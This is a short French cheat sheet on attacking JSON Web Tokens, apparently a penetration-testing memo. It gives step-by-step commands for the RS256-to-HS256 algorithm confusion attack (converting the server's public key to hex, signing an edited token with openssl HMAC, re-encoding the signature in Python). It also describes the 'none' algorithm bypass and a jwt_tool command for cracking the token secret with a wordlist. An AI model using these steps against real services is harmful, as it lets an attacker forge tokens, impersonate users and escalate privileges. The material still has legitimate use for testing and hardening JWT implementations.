Structure d’un token
header.payload.secret
Les sections sont encodés en base64
Structure d’un header
{“typ”:”JWT”,”alg”:”RS256″}
Si on a la clé publique du serveur, on peut réencoder le token
-Changer l’algorithme dans le header par HS256 (HS256 est symétrique, rs256 est asymétrique)
cat a.pem | xxd – p | tr -d “\\n” (convertit la clé publique du serveur “a.pem” au format hexadécimal pour utilisation avec openssl à l’étape suivante)
Générer une signature HMAC avec notre clé générée précédemment et le token édité (les deux premières sections)
echo -n “eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ” | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
(stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0
Convertit la signature en base64
$ python2 -c “exec(\”import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex(‘8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0’)).replace(‘=’,”)\”)”
Ajouter la signature
[HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]
Il est plus facile d’utiliser l’outil TokenBreaker
Autre exploit
Changer le type d’encryption à None
le formation du token est maintenant header.payload. (le dernier point est nécessaire)
Attention!
Certains serveurs ne reconnaissent pas les parties du token si on ne met pas de saut à la ligne après avoir modifié le contenu (à la suite du }). S’applique au header ainsi qu’au payload
Tenter de trouver la clé (secret) d’un token. Il est possible aussi de modifier et resigner un token avec cet outil
python3 jwt_tool.py letoken -d /usr/share/wordlists/r0ckyou.txt -C